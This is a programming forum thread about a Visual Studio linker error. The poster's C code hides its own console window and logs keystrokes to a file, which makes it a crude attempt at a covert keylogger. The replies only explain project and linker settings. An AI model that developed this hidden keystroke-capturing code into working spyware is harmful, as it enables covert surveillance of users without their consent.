unresolved external symbol _WinMain@16 referenced in function ___tmainCRTStartup

Aug 27, 2013 at 11:20pm
I tried Visual Studios express 2012. What does this mean?:
Error 1 error LNK2019: unresolved external symbol _WinMain@16 referenced in function ___tmainCRTStartup
Error 2 error LNK1120: 1 unresolved externals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include "stdafx.h"
# include <stdio.h>
# include <conio.h>
# include <windows.h>
# include <winuser.h>
# include <iostream>

int main ( void )
{
int cha;
char ch;
FILE *fptr;
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
while(1)
{
if ( _kbhit() )
{
ch = _getch();
cha = ch;
fptr = fopen("KEYS.TXT", "a+");
fputc(ch,fptr);
fclose(fptr);
if ( cha == 27 )
{
return 0;
}
}
}
}
Last edited on Aug 27, 2013 at 11:21pm
Aug 27, 2013 at 11:23pm
In VC++, create a new blank project and add a cpp file to it, then copy in your code. The other project templates will not work.
Aug 28, 2013 at 12:05am
blank .cpp does not compile into an .exe
Aug 28, 2013 at 2:01am
Please reread my post more carefully.
Aug 28, 2013 at 4:17am
The error is that you created a win32 project which has WinMain entry point, create another win32 console application and it will work.

Alternatively, change linker settings to /SUBSYSTEM:CONSOLE on your existing project.
Aug 28, 2013 at 12:25pm
If you're tweaking the project settings manually, you should also edit the compiler's proprocessor definitions so they uses _CONSOLE rather than _WINDOWS (for debug and release targets.)

Andy


Topic archived. No new replies allowed.